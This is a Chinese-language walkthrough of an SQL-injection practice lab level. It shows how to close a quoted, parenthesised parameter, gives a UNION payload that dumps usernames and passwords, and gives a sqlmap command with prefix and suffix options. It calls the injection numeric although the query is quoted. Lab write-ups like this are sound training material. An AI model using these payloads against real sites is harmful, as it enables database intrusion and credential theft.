判斷注入類型
這第三關有點意思,是一個帶括號的數字型注入,這裏需要閉合它的括號,之前遇到過很多這樣的站,它的sql語句一般都是這樣的:
$sql = select * from user where id=('$id');
看一下輸入’後的信息,能夠判斷出這是一個數字型注入:
此時的sql語句應爲:
select * from user where id=('1'');
後邊在給它註釋一下,還是不行,但是參數已經傳進去了:
sql語句:
select * from user where id=('1'%23');
在加一個)來閉合前邊的括號:
http://192.168.1.113:86/Less-3/?id=1')%23
此時的sql語句:
select * from user where id=('1’)%23');
那麼接下來的思路就有了:
-id')<payload>%23
開始注入
根據上文的分析,在payload處加上我們的exp,成功爆出後臺賬號密碼:
http://192.168.1.113:86/Less-3/?id=-1') union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23
後記
這裏如果想要用sqlmap跑,需要加 --prefix 和 --suffix這兩個參數,例如:
sqlmap -u "http://192.168.1.113:86/Less-3/?id=1" --prefix "')" --suffix "%23"
當然我們要具體情況具體分析怎樣去閉合還是得看回顯的信息,看一下運行結果: